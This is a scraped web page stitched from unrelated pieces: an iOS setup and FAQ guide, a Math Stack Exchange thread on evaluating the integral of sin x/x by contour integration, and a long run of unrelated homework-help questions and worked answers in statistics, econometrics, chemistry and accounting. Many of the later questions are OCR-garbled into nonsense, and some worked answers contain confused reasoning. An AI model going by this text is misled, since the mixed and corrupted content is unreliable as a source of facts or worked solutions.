(tcauc| TS : 3a TiiU | Whe^ @~Mser is treated @i# #5h b) Wilh 2779 -O,nj Cn ha major Predct is:a) fproaldebyle follou by wares, Waen 6,3-bula liene PkcHg 7$ "70h48) Phc" pro? PhcHo A)pkoh . e) PkBr ~cho 6) OHc With Propenal #e Ploduct is: cho (Tacemic) U cho (facemic)...
5 answers
What is the frequency of a sound wave which travels at 340m/s and has an amplitude of 2.0 mm?
what is the frequency of a sound wave which travels at 340 m/s and has an amplitude of 2.0 mm?...
1 answer
Verify that the given function is a solution to the given differential equation (c1 and c2...
Verify that the given function is a solution to the given differential equation (c1 and c2 are arbitrary constants), and state the maximum interval over which the solution is valid. 14. y(x) = cix-3 + c2x-1, x2y" + 5xy' + 3y = 0....
5 answers
Find dy fory= Msin (?) dt: dxdy dx (Simplify your answer: Use fractional exponents )
Find dy fory= Msin (?) dt: dx dy dx (Simplify your answer: Use fractional exponents )...
5 answers
2: Determine whether each of these statements are true or false. Note that here denotes %is a proper subset of"(a) 0 € {0}(b) 0 e {0, {0}}(c) {0} € {0}(d) {0} € {{0}}(e) {0} € {0, {0}}(f) {{0}} € {0, {0}} (g) {{0}} € {{0} , {0}}
2: Determine whether each of these statements are true or false. Note that here denotes %is a proper subset of" (a) 0 € {0} (b) 0 e {0, {0}} (c) {0} € {0} (d) {0} € {{0}} (e) {0} € {0, {0}} (f) {{0}} € {0, {0}} (g) {{0}} € {{0} , {0}}...
1 answer
How do you find the determinant of #((-5, 6, 0, 0), ( 0, 1, -1, 2), (-3, 4, -5, 1), (1, 6, 0, 3))#?
How do you find the determinant of #((-5, 6, 0, 0), ( 0, 1, -1, 2), (-3, 4, -5, 1), (1, 6, 0, 3))#?...
4 answers
Find the equation of the given linear function_f(x)F5f(x)
Find the equation of the given linear function_ f(x) F5 f(x)...
1 answer
Find all the real-number roots of each equation. In each case, give an exact expression for the root and also (where appropriate) a calculator approximation rounded to three decimal places. $$\log _{2}\left(\log _{3} x\right)=-1$$
Find all the real-number roots of each equation. In each case, give an exact expression for the root and also (where appropriate) a calculator approximation rounded to three decimal places. $$\log _{2}\left(\log _{3} x\right)=-1$$...
1 answer
OURCES Your answer is partially correct. Try again. For its fiscal year ending October 31, 2017,...
OURCES Your answer is partially correct. Try again. For its fiscal year ending October 31, 2017, Haas Corporation reports the following partial data shown below. Income before income taxes Income tax expense (18% x $412,000) Income from continuing operations Loss on discontinued operations Net Incom...
-- 0.082038--
|
__label__pos
| 0.713937 |
Results 1 to 2 of 2
Math Help - Simple Vector sum
1. #1
Newbie
Joined
May 2010
Posts
13
Simple Vector sum
determine if any of the lines are equal or parallel
L1: (x-8)/4 = (y+5)/-2 = (z+9)/3
L2: (x+7)/2 = (y-4)/1 = (z+6)/5
L3: (x+4)/-8 = (y-1)/4 = (z+18)/-16
L4: (x-2)/-2 = (y+3)/1 = (z-4)/1.5
im not sure whether the sum is wrong... Because answer says L1 n L3 are equal. But?? how to prove it
Follow Math Help Forum on Facebook and Google+
2. #2
MHF Contributor
Joined
Apr 2005
Posts
16,857
Thanks
1974
You are using the word "sum" in a very strange way!
If you are given two lines as
\frac{x- a}{A}= \frac{y- b}{B}= \frac{z- c}{C}
and
\frac{x- u}{U}= \frac{y- v}{V}= \frac{z- w}{W}
then the vector <A, B, C> points in the direction of the first line and the vector <U, V, W> points in the direction of the second line. They are "parallel" if and only if <A, B, C> is a multiple of <U, V, W> and they are not the same line.
To compare L1 with L2, 4= 2(2) but -2 is not 2(1) so they are not parallel nor can they be the same line.
To compare L1 with L3, -8= 4(-2) and 4= 2(-2) but -16 is not 3(-2) so they are not parallel nor can they be the same line.
If that "3" were an "8" so that L1 was given by
\frac{x- 8}{4}= \frac{y+ 4}{-2}= \frac{z+ 9}{8}
then it and L3,
\frac{x+4}{-8}= \frac{y-1}{4}= \frac{z+18}{-16}
would have parallel vectors.
However, (8, -4, -9) is a point on the first line and putting x= 8, y= -4, z= 9 in the equation of the second,
\fac{8+ 4}{-8}= -\frac{12}{8}= -\frac{3}{2}
\farc{-4-1}{4}= -\frac{5}{4}\ne -\frac{3}{2}
so these lines would be parallel but NOT equal.
Follow Math Help Forum on Facebook and Google+
Similar Math Help Forum Discussions
1. Simple vector question
Posted in the Pre-Calculus Forum
Replies: 4
Last Post: September 23rd 2011, 06:48 AM
2. Simple question about vector.
Posted in the Calculus Forum
Replies: 9
Last Post: September 21st 2010, 07:38 AM
3. Simple vector question.
Posted in the Trigonometry Forum
Replies: 2
Last Post: June 8th 2010, 10:04 PM
4. Simple vector question
Posted in the Calculus Forum
Replies: 3
Last Post: January 17th 2010, 11:16 PM
5. Simple Vector
Posted in the Algebra Forum
Replies: 2
Last Post: July 13th 2008, 02:49 AM
Search Tags
/mathhelpforum @mathhelpforum
|
__label__pos
| 0.89442 |
Not sure the right wording but can I DEFINE an entire block of code with one Name?
This is a discussion on Not sure the right wording but can I DEFINE an entire block of code with one Name? within the C Programming forums, part of the General Programming Boards category; I have a program with some pretty repetitive blocks of code (i.e Loop A, Loop B, Loop C, then Loop ...
1. #1
Registered User
Join Date
Nov 2010
Posts
28
Not sure the right wording but can I DEFINE an entire block of code with one Name?
I have a program with some pretty repetitive blocks of code (i.e Loop A, Loop B, Loop C, then Loop A again... etc) , is it possible to define an entire loop as a single line/function?
Say I have this:
Code:
{
for(pos = 0; pos < 180; pos += 1) // goes from 0 degrees to 180 degrees
{ // in steps of 1 degree
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15); // waits 15ms for the servo to reach the position
}
for(pos = 180; pos>=1; pos-=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15); // waits 15ms for the servo to reach the position
}
}
Could I abbreviate that in some way so that I can call on it with a single line of code? i.e. Variable X=all of that in the code bracket, and if I want that to run I can just type an X in my main loop? I think that'd be defining a function but I'm not sure how to impliment it.
I've got a very messy program with lots of loops like the above that I'd like to neaten up a bit. Thanks for any advice/tips.
Last edited by 777funk; 10-05-2012 at 10:25 PM.
2. #2
and the hat of int overfl Salem's Avatar
Join Date
Aug 2001
Location
The edge of the known universe
Posts
33,834
Yes, such blocks of code are called functions.
Eg.
Code:
void foo ( sometype myservo ) {
int pos;
{
for(pos = 0; pos < 180; pos += 1) // goes from 0 degrees to 180 degrees
{ // in steps of 1 degree
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15); // waits 15ms for the servo to reach the position
}
for(pos = 180; pos>=1; pos-=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15); // waits 15ms for the servo to reach the position
}
}
}
You just look at whatever block of code you'd like to encapsulate, and figure out
- what the "input" is (in this case, perhaps the servo to use)
- what the "output" is (in this case, nothing)
- what can be declared as a local variable (in this case, pos)
If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
If at first you don't succeed, try writing your phone number on the exam paper.
Popular pages Recent additions subscribe to a feed
Similar Threads
1. Code::Block Land
By imtithal in forum C++ Programming
Replies: 2
Last Post: 04-07-2011, 01:23 PM
2. Can't understand this block of code
By serg_yegi in forum C Programming
Replies: 1
Last Post: 03-23-2010, 07:58 PM
3. Someone having same problem with Code Block?
By ofayto in forum C++ Programming
Replies: 1
Last Post: 07-12-2007, 09:38 AM
4. Code::Block question
By ofayto in forum C++ Programming
Replies: 1
Last Post: 07-11-2007, 02:14 AM
5. Feedback: Functional Specification Wording
By Ragsdale85 in forum C++ Programming
Replies: 0
Last Post: 01-18-2006, 04:56 PM
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
__label__pos
| 0.929277 |
The tag has no wiki summary.
learn more… | top users | synonyms
5
votes
3answers
364 views
How exactly do logic and mathematics interact and what happens when we change the logic?
[Note: this question turned out to be pretty huge, so if you think it would be better to split it up into smaller questions, please comment. The questions here are quite conceptually intertwined and ...
49
votes
6answers
2k views
Why are groups more important than semigroups?
This is an open-ended question, as is probably obvious from the title. I understand that it may not be appreciated and I will try not to ask too many such questions. But this one has been bothering me ...
25
votes
3answers
2k views
Why are smooth manifolds defined to be paracompact?
The way I understand things, roughly speaking, the importance of smooth manifolds is that they form the category of topological spaces on which we can do calculus. The definition of smooth manifolds ...
6
votes
2answers
242 views
How do I investigate the metamathematics of Euclid's proof of infinitude of primes?
Is primeness a predicative property? Earlier this year, I jotted down some thoughts in a paper whether Euclid's proof of infinitude of prime numbers is tautological arguing that prime numbers are ...
3
votes
1answer
289 views
Properties of computable numbers
If we enumerate* all the computable numbers, those for which there exist a turing machine that outputs its digits to arbitrary precision. What is known about the asymptotic density of rationals, ...
25
votes
3answers
939 views
Rejecting infinity
I've heard about mathematicians who defend a strictly finite conception of mathematics, with no room for infinity. I wonder, how is it possible for these people to do this? Are there any concepts that ...
2
votes
1answer
128 views
Bounding projective spaces
For which $n$ does there exist a (topological, smooth, PL, complex) manifold $M^n$ such that $\partial M = \mathbb{R}\mathbb{P}^m$. Obvously, $m = n -1 $ (at least an in the real case). There are a ...
16
votes
4answers
1k views
Advanced algebraic topology topics overview
Recently I became very much intrigued by algebraic topology and am spending quite some time learning it. My reasons are three-fold: it's a beautiful theory; it gives geometric justification to (or ...
5
votes
1answer
414 views
Complex Analysis and Algebra
There are two results in Complex Analysis that have a counterpart in Algebra: -If we consider the ring of holomorphic functions in an open set $\mathcal H(U)$ with the usual sum and product, every ...
11
votes
16answers
626 views
Landmarks of subjects of mathematics
In order to have a good view of the whole mathematical landscape one might want to know a deep theorem from the main subjects (I think my view is too narrow so I want to extend it). For example in ...
5
votes
2answers
495 views
integral transforms: why do roots in frequency domain correspond to eigenvalues in time domain (and how does it help solve differential equations)?
In Wikipedia you can read about integral transforms, esp. the Laplace transform which maps a differential equation in the time domain into a polynomial equation in the complex frequency domain: ...
10
votes
2answers
2k views
Categories of mathematics
I am interested in understanding how mathematics is divided into many categories, such as what categories are particular cases of what, what categories do not or have little overlap with what. This is ...
26
votes
5answers
2k views
Why should I care about adjoint functors
I am comfortable with the definition of adjoint functors. I have done a few exercises proving that certain pairs of functors are adjoint (tensor and hom, sheafification and forgetful, direct image and ...
10
votes
4answers
1k views
What's more general than category theory?
First there was arithmetic with numerical calculations (i.e., one unknown on one side of an equation). Then algebra with manipulations of variables (many unknowns anywhere in an equation). Then ...
|
__label__pos
| 0.874976 |
Why is the Inv_AeX_AC_Identification.[Client Date] value being replaced by the inventory forwarding time on the Reporting NS?
book
Article ID: 180819
calendar_today
Updated On:
Products
Management Platform (Formerly known as Notification Server)
Issue/Introduction
Resolution
Question
Why is the Inv_AeX_AC_Identification.[Client Date] value being replaced by the inventory forwarding time on the Reporting Notification server?
Answer
The vComputer View does extract data from the Item table in regards to the ClientDate, and this date is the date when that resource was first created in that table. This will be the date when the NS agent first sent Basic Inventory after being installed to its managing Notification server. When looking at the View on a Reporting NS, this date will be the first time that inventory date was received from the Forwarding NS.
The Inv_AeX_AC_Identification.[Client Date] column contains the last date and time when either Basic Inventory or Inventory Solution Inventory was received from that resource. This table is an Inventory class and can be forwarded if chosen. Its data will not be changed by the Reporting NS.
The "Altiris Agent installed other than push method" report will only work if the database objects that it uses has been forwarded to the NS. This report uses the vDiscoveredMachines View which is not a member of the DataClass Table.
vDiscoveredMachines uses Inv_AeX_AC_Identification, Inv_AeX_AC_Discovery, Inv_AeX_AC_TCPIP which are Inventory data classes. It also uses the ClientPush Table which is not present in the DataClass table.
The report also uses the Inv_AeX_AC_Client_Agent Table which is an Inventory DataClass, but it also uses the vComputerResource and vComputer Views.
vComputer uses the the Inv_AeX_AC_Identification, Inv_AeX_AC_Primary_User, and Inv_AeX_AC_TCPIP Inventory Tables. It also uses vComputerResource, vItem (replica of Item Table), and vSource (data from Item) Views.
vComputerResource uses the ResourceTypeHeirarchy Table as well as the vActiveAsset View which uses the vResourceHeirarchy View which is a replica of the ResourceTypeHeirarchy Table.
As you can see, the ClientPush Table seems to be the only only able that is not forwarded, which is why this report will fail to function correctly on a reporting NS. This report is only useful if the Reporting NS has managed computers of its own.
The Inventory Forwarding mechanism uses the vInventoryClass View to obtain the list of DataClasses that can be forwarded and will only display those Tables that that have a ClassType=0 value. This view is a replica of the DataClass table.
When you open the Inventory Class list to select which data classes you wish to have forwarded, you can see all DataClasses that can be safely used within reports on the Reporting NS. You can also create your own Views in order to extract the desired data, but at present there is no supported method of adding Tables to the data class forwarding list.
If you still require data from the Forwarding Notification Servers that is not able to be forwarded, then you could use our Connector Solution (which requires a license), or you could use SQL Server Enterprise Manager to extract data from these Notification Servers and then populate Table or Views on the Reporting NS.
|
__label__pos
| 0.703942 |
Standalone Mode Crashes during level loading
Hi guys,
This bug is relacted with Navigation System.
First, my game open the Main Menu Level and when i click in “Start game Button” load level called “Loader”
52285-main_menu_calling_loader_level.jpg
“Loader” level have 8 sub-levels and based in last save game, loads the last
Here is the problem…
When i set Runtime generation to Static in sub-level, show this message
52282-static-nav-mesh-setting.jpg
But, when i set Runtime generation to Dynamic, standalone game crashes during level load
=====
Unknown exception - code 00000001 (first/second chance not available)
"Assertion failed: NavigationOctree [File:D:\BuildFarm\buildmachine_+
UE4Editor_Core!FDebug::AssertFailed() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\core\private\misc\outputdevice.cpp:355]
UE4Editor_Engine!FRecastTileGenerator::GatherGeometry() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\ai\navigation\recastnavmeshgenerator.cpp:1797]
UE4Editor_Engine!FRecastTileGenerator::Setup() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\ai\navigation\recastnavmeshgenerator.cpp:1629]
UE4Editor_Engine!FRecastNavMeshGenerator::CreateTileGenerator() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\ai\navigation\recastnavmeshgenerator.cpp:3937]
UE4Editor_Engine!FRecastNavMeshGenerator::ProcessTileTasks() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\ai\navigation\recastnavmeshgenerator.cpp:3961]
UE4Editor_Engine!FRecastNavMeshGenerator::TickAsyncBuild() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\ai\navigation\recastnavmeshgenerator.cpp:3355]
UE4Editor_Engine!ANavigationData::TickAsyncBuild() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\ai\navigation\navigationdata.cpp:490]
UE4Editor_Engine!UNavigationSystem::Tick() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\ai\navigation\navigationsystem.cpp:763]
UE4Editor_Engine!UWorld::Tick() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\leveltick.cpp:1152]
UE4Editor_Engine!UGameEngine::Tick() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\engine\private\gameengine.cpp:897]
UE4Editor!FEngineLoop::Tick() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\launch\private\launchengineloop.cpp:2359]
UE4Editor!GuardedMain() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\launch\private\launch.cpp:142]
UE4Editor!GuardedMainWrapper() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\launch\private\windows\launchwindows.cpp:126]
UE4Editor!WinMain() [d:\buildfarm\buildmachine_++depot+ue4-releases+4.8\engine\source\runtime\launch\private\windows\launchwindows.cpp:200]
Hi ,
Can you post your crash logs here so we can take a look? Additionally, does this occur in a clean, blank project with no additional content or is it limited to your project specifically?
[link text][1]
Yes, happens in a blank project too.
But one detail, this crack happens when i mark
“Auto create navigation data” to true
52622-project-settings-navigation-system.jpg
BUT, if i set FALSE, not crash, but nobody moves and navigation system not works for anybody
This happens after server travel to any level with navigation system.
Do you have a sample project or a set of repro steps I can follow to reproduce this on my end?
Yes,
1. create a blank project
2. create one blank map called “Menu”
3. create another blank map called
“Loader” or something else
4. create another level with basic pack
called “Level 1”
5. in “Level 1” create a ground if
haven’t and put “Nav Mesh Bounds
Volume” on ground
6. create a simple nav agent to walk
for any location in this ground put
on level
7. build all and save
8. open “Loader” map and Add “Level 1”
as sub level
9. open level blueprint and call load
stream level “Level 1” on Begin Play
Event
10. open “Menu” level and in begin play
on level blueprint call
openLevel(“Loader”)
11. Press play of play in standalone
Hi ,
I’m attempting to reproduce this on my end, however I’m running into a few complications with your steps.
On 4., What do you mean when you say “basic pack”?
On 6., Do you mean an AI that walks on the navmesh or do you mean a supported agent within the settings>navigation menus?
If I could get clarification on these I can continue attempting to reproduce this on my end. Thank you!
HI ,
On 4. means when you click in new level, show 2 options, blank or default (Basic Pack) of you select default option create a level with, ground, sky, one directional light, and player start point, this is what i mean, sorry
I uploaded on dropbox a blank project (2MB) with all steps maded
link text
Hi ,
I tested the project you sent and did not see any crash. Are there any additional steps I need to take to be able to reproduce this on my end?
Hi ,
First of all, thanks for your attention,
If you set Runtime generation to Static in Nav Mesh Config, Build and play, you will see (if not crash (my shame)) “NAV MESH NEEDS TO BE REBUILD” and AIController not walk
But I discovered something about that problem,
Static not work, just say “NAV MESH NEEDS TO BE REBUILD”
When i set dynamic and put many AIControllers starting patrolling in Begin Play Event, Editor or Standalone crashes because Nav Mesh is building, i guest
Is this right? or Is this a strange behavior?
Hi ,
Can you post your dxdiag here so I can take a look?
this is it,
link text
And diagnostics file too
link text
Hi ,
I don’t see anything there that could be linked to this error. Unfortunately I still haven’t seen the crash on my end. Do you have any other steps I can take to reproduce this on my end?
Sorry, but i haven’t no more steps.
Hi ,
I haven’t been able to reproduce this with the steps provided above. I’m going to mark this as answered for tracking purposes. If you manage to find another set of repro steps or any additional information that can help lead to reproducing this error, please comment back and I’ll be happy to take another look.
|
__label__pos
| 0.885158 |
<img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=134132097137679&ev=PageView&noscript=1">
RhythmOne Q&A: Ad Fraud within Mobile Apps
pixalate-r1-mobile-app-ad-fraud-qa
Tyler Loechner, Marketing Manager at Pixalate, sat down with RhythmOne’s Karim Rayes, Senior Vice President, Products and Business Development, to discuss the unique challenges of battling invalid traffic (IVT) within mobile apps.
Tyler Loechner, Pixalate: What does RhythmOne consider to be the biggest challenge when it comes to combating IVT within mobile apps?
Karim Rayes, RhythmOne: The greatest challenge is that today’s fraudsters are using highly sophisticated, ever-evolving tools to replicate in-app consumer behavior. This includes app installs, action-based like clicks, even attribution. There isn’t a fixed solution to unilaterally identify fraud particularly since new schemes are constantly being introduced, but rather a dynamic set of tools that can screen and filter potentially fraudulent traffic.
Loechner: What is RhythmOne doing at the organizational level to reduce IVT within mobile apps?
Rayes: We’ve built a bank of proprietary data filters to recognize current and emerging fraud types, as well as associated ad request variables, to better identify IVT. RhythmGuard, RhythmOne’s brand-safety technology that is built into our platform, RhythmMax, screens all inventory and eliminates suspicious or underperforming traffic pre-bid. It does this by leveraging supply-side block lists and traffic scoring algorithms built from first- and third-party verification data. But prevention is only one part of the solution. We also monitor traffic post-bid, providing creative and domain-level verification.
Loechner: With consumers spending so much time in-app, what do you say to advertisers eager to take advantage of the audiences but nervous about ad quality?
Rayes: I would encourage them to ensure that their programmatic partner is fully committed to brand safety and has been recognized for quality and integrity across channels, platforms, and devices. RhythmOne was thrilled to place first in Pixalate’s Q2 2018 Programmatic Quality Report for the Global Seller Trust Index, and the second spot in their Mobile Seller Trust Index.
Loechner: How do you define quality in mobile apps?
Rayes: Traffic quality is an empirical metric that doesn’t vary from device to device, nor does it vary from one ad format to another. It’s a real human who the advertiser intended to deliver an ad to, and quality is based on what this individual saw, clicked on, or otherwise took action, based on the serving of an ad. What does change, however, is how different variables and metrics can be used to identify a potentially fraudulent source, request, or session.
On mobile devices, we can assume one user per device, which you can’t do on a desktop. Essentially, mobile devices allow a form of “user fingerprinting” which generalizes behavioral trends. When that trend is not followed, the risk of IVT goes up. IVT for mobile apps acts a bit differently, because once it gets inside the app, it has a longer lifespan than mobile web. Mobile apps also tend to cluster by geographic location, so to identify IVT, we might flag activity that falls outside of these location clusters. Clicks to install and post-install behavior are also normalized, so activity that follows a different pattern, for example, short session lengths, might serve as a flag to identify potentially fraudulent behavior. We identify new fraud types constantly, based on behavioral aberrations, or differences.
Loechner: What are some of your best tips for maintaining a low level of IVT within mobile apps?
Rayes: The best tip I can offer is that there is no single answer or fix to maintaining low IVT in mobile apps. It is a multi-pronged strategy that begins with the initial app vetting phase, working with a partner, like Pixalate, who can apply scientific analysis to discover and avoid apps that have a higher preponderance of suspicious activity, so they never become part of your media buy in the first place. Second, it is ongoing behavioral monitoring in-app to identify non-human or suspicious activity. And lastly, it’s ensuring that you are conducting post-bid analysis and using accredited verification tools.
Loechner: What do you think the industry needs to know about mobile app ad fraud?
Rayes: Marketers have invested heavily in mobile advertising, specifically in-app. But AppsFlyer recently reported that a growing number of marketers believe that a large percentage of their mobile ad budgets are exposed to in-app fraud. We have to make reducing in-app fraud a top priority, across the industry, if marketers are going to continue to trust us with their ad dollars.
Loechner: Is there anything the industry at large isn’t focused on that you think needs to be a bigger priority when it comes to fighting ad fraud in mobile apps?
Rayes: The industry has done a good job in placing greater emphasis on reducing IVT across the board. Increasing the focus on preventative pre-bid efforts to stop fraud before it ever enters a campaign is the single most important area for us to focus on. Collectively, it’s important that the industry continues to embrace standardization, like the Open Measurement SDK (OMSDK), which will enable advertisers to view IVT and brand safety rankings from an objective standpoint. We need industry standards for IVT so that there is an apples-to-apples comparison that advertisers can make from campaign to campaign, particularly if they are working with multiple vendors.
Loechner: With millions of mobile apps available in the major app stores, how do you determine which apps are good partners? How do you ensure your list of partners stays ‘clean’?
Rayes: There is a certain level of quality control that must happen to vet inventory supply sources and new apps for consideration as part of an onboarding process. So it’s not just a matter of vetting an app’s description in the store, but reviewing the in-app content to ensure it adheres to our content guidelines, as well as verifying the owner or publisher of the app is a legitimate and verifiable source.
There is an obvious and direct correlation between quality apps — which I would define as apps that are well managed, maintained, regularly refreshed and updated by their publishers — and the performance of ads that are leveraging their inventory. There should be an incentive for well-run apps, and that incentive is increased demand for their inventory on the basis of prior performance. It may sound like utopia, but it is also the reality of our experience with the publishers we work with at RhythmOne.
This Q&A on ad fraud within mobile apps also appears on RhythmOne's blog.
Karim Rayes, Senior Vice President, Products and Business Development at RhythmOne, leads the company’s publisher development and product management organizations. Karim joined RhythmOne in 2007 and prior to his current post served as Vice President, Publisher Development where he was managing RhythmOne’s supply side platform, responsible for product direction and commercial relationships. With more than a dozen years of experience in digital media, Karim is an expert in publishing, programmatic advertising, media buying, and business development & affiliate marketing and management. He holds a B.A.Sc. in Computer Science from the University of Montreal.
Popular Posts
What is OTT and how is it different from video?
MRC Definitions for Invalid Traffic: SIVT and GIVT
MRC Viewability Standards: What It All Means
How we uncovered millions of dollars in mobile app fraud
|
__label__pos
| 0.715099 |
Commit 63f6afb5 authored by timkittel's avatar timkittel Committed by GitHub
Browse files
wrote roughly down the outline (:
parent bcb82ca4
......@@ -10,22 +10,83 @@
### Session PM2 Python Intro
- TODO
#### Python Intro
- done by rgieseke
- introduction to the python notebook
- basic language features (print, int, variables, type, ...)
- basic operators: math, string, comparison, boolean
- len, round
- import numpy as np
- tab complettion
- example functions np
- using a method
- lists, indexing, slicing
- **not included**: list comprehensions
- tuples
- traceback error (short explanation for understanding)
- dictionaries
- numpy arrays and basic operations
- for loops, enumerate, zip
- matplotlib.pyplot.plt
- if elif else
#### Numpy Intro
- np.loadtxt the example and short analysis of the loaded data
- slcing in multiple dimensions
- apply all the numpy operations (e.g. mean)
- demonstrate axis keyword
## DAY 2 AM
### Session AM1 Python Basics I
- TODO
#### functions and modules
- functions
- positional arguments
- keyword a.
- functions as arguments (write your own `map` function)
- **not included**: \*, \*args, \*\*kwargs, mandatory keyword arguments
- formatted strings, i.e. `f"Hello {variable}"`
- write a function in a module and load it in the notebook, including `help`
- readable functions ... i.e. use long, meaningful variable names (and take advantage of autocompletion)
#### speeding up code with numba
- demonstrate simple loop example
- *comment*: the second `idx` definition in `process_numpy` could be replaced by `idx = ~idx` and that should be (marginally and probably irrelevantly) faster (:
- use `nb.vectorize` to create an np ufunc
### Session AM2: Python Basics II
- TODO
#### Defensive Programming
- assertions
- simple example for test-driven development
- Debuggung ... long monologue and emphasize the important points, not going to repeat all of that here ... [I put some work into the presentation here, so they can take it home](https://github.com/swc-bb/2017-05-15-python-novice-lessons/blob/master/lesson-notebooks/lesson-tim/defensive%20programming.ipynb)
#### command line programs
- that was fun
- explain the shebang and how to make a script executable
- using sys.argv and showing how useless it is
- go to argparse and show how awesome it is
- ad different kinds of arguments, let them play around if possible
- read from stdin
- show the argcomplete magic
## DAY 2 PM
### Session PM1: Python Final Project
- TODO
- load stuff in pandas and plot it
- use `describe`, `loc`, `T`, various ways of pandas indexing
- the actual project:
- easily get nice results so everybody is happy
- give the loading of the data file for free as this could set people back
- but then have some backup questions so even the quick people have enough to do
- finally do a challenge that actually involves some reading of the docs and thinking
### Session PM2: Wrap up
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment
|
__label__pos
| 0.999869 |
Skip to content
histogram pdf normalization
julia
using CairoMakie, Distributions, Random
Random.seed!(124)
cmap = resample_cmap(:linear_wcmr_100_45_c42_n256, 256;
alpha = rand(256))
fig = Figure(; size = (600,400))
ax = Axis(fig[1,1])
hist!(rand(Normal(2.6,0.4), 1000), normalization = :pdf, offset = -1,
color = :values, colormap = :plasma, direction = :x, fillto = -0.5)
hist!(rand(Normal(2.6,0.4), 1000), normalization = :pdf, offset = 1,
color = :grey10, direction = :x, scale_to = -0.5)
hist!(rand(Normal(0.2,0.2), 1000), normalization = :pdf, offset = 4,
strokewidth = 1, color = :transparent, strokecolor = :black,
direction = :y, scale_to = -1)
hist!(rand(Normal(0.2,0.2), 1000), normalization = :pdf, color = :values,
colormap = cmap, strokewidth = 1, strokecolor = :black,
bar_labels = :values, label_color = :black, label_size = 12,
label_formatter=x-> round(x, digits=1))
hidedecorations!(ax; grid = false)
fig
|
__label__pos
| 0.999981 |
Sign up ×
Mathematics Stack Exchange is a question and answer site for people studying math at any level and professionals in related fields. It's 100% free, no registration required.
It is well known that $$1-\frac{1}{2}+\frac{1}{3}-\frac{1}{4}+\frac{1}{5}... =\log(2).$$
If we consider the array: $T(n,k) = -(n-1)\; \text{ if }\; n|k, \;\text{ else } \;1,$
Starting:
$$\begin{bmatrix} 0&0&0&0&0&0&0 \\ 1&-1&1&-1&1&-1&1 \\ 1&1&-2&1&1&-2&1 \\ 1&1&1&-3&1&1&1 \\ 1&1&1&1&-4&1&1 \\ 1&1&1&1&1&-5&1 \\ 1&1&1&1&1&1&-6 \end{bmatrix}$$
Is it true that $\displaystyle \log(n)=\sum\limits_{k=1}^{\infty}\frac{T(n,k)}{k}$$\;$?
share|cite|improve this question
And why do you expect this to hold (e.g. you computed the partial sums up to a big number and they are close to the $\log$s...)? – Marek Jun 19 '11 at 23:36
1
Why's this tagged as number-theory? – George Lowther Jun 20 '11 at 1:46
@Marek & @George Lowther: Perhaps not an answer to your questions, but this recurrence here: list.seqfan.eu/pipermail/seqfan/2011-June/014999.html , led me to the values of the Mangoldt function here: list.seqfan.eu/pipermail/seqfan/2011-June/015006.html , which in turn led me to the series above. – Mats Granvik Jun 20 '11 at 8:07
right, thanks. I'm glad it wasn't just a guess because to me the limit was quite unapparent (although I admit I am ignorant and series like these might be well-known). – Marek Jun 20 '11 at 8:59
A while ago, after I asked this question, I noticed that these logarithm series have been known to Jaume Oliver Lafont in the Oeis: oeis.org/wiki/User:Jaume_Oliver_Lafont – Mats Granvik Aug 29 '11 at 18:34
4 Answers 4
up vote 19 down vote accepted
You can write $T(n,k)=1-n1_{\{n\mid k\}}$. Then, for $\vert x\vert < 1$ look at the power series $$ \begin{align} \sum_{k=1}^\infty\frac{T(n,k)}{k}x^k&=\sum_{k=1}^\infty\frac{x^k}{k}-\sum_{k=1}^\infty1_{\{n\mid k\}}\frac{nx^k}{k}\\ &=\sum_{k=1}^\infty\frac{x^k}{k}-\sum_{k=1}^\infty\frac{x^{nk}}{k}\\ &=-\log(1-x)+\log(1-x^n)\\ &=\log\left(\frac{1-x^n}{1-x}\right)\\ &=\log(1+x+\cdots+x^{n-1}). \end{align}. $$ So, letting $x$ increase to 1, $$ \lim_{x\uparrow1}\sum_{k=1}^\infty\frac{T(n,k)}{k}x^k=\log n. $$ The fact that you can commute this limit with the summation to get $\sum_{k=1}^\infty T(n,k)/k$ follows from the fact the series converges uniformly (over $0 < x < 1$). You can show this by grouping together the consecutive positive terms where $n\nmid k$ to get a sequence with alternating signs and decreasing in magnitude. Then, truncating the series gives an error which is bounded by the following term. That is, $$ \left\vert\sum_{k=1}^{jn-1}\frac{T(n,k)}{k}x^k-\log(1+x+\cdots+x^{n-1})\right\vert \le \frac{-T(n,jn)}{jn}x^{jn}\le \frac1j. $$ Commuting the limit with a finite sum is no problem, so you get $$ \left\vert\sum_{k=1}^{jn-1}\frac{T(n,k)}{k}-\log n\right\vert\le\frac1j. $$
share|cite|improve this answer
4
Very nice derivation from basic principles. – André Nicolas Jun 20 '11 at 1:43
Yes. You can get the sums by differentiating the digamma function repeatedly. There is a good deal of information about the resulting polygamma functions, including series expressions, here. Your matrix version is a lot more visually arresting than the usual Dirac delta function formulation!
share|cite|improve this answer
I'd still like to know how one comes up with such series and a conjecture of what they should converge to. Any clues? – Marek Jun 20 '11 at 1:07
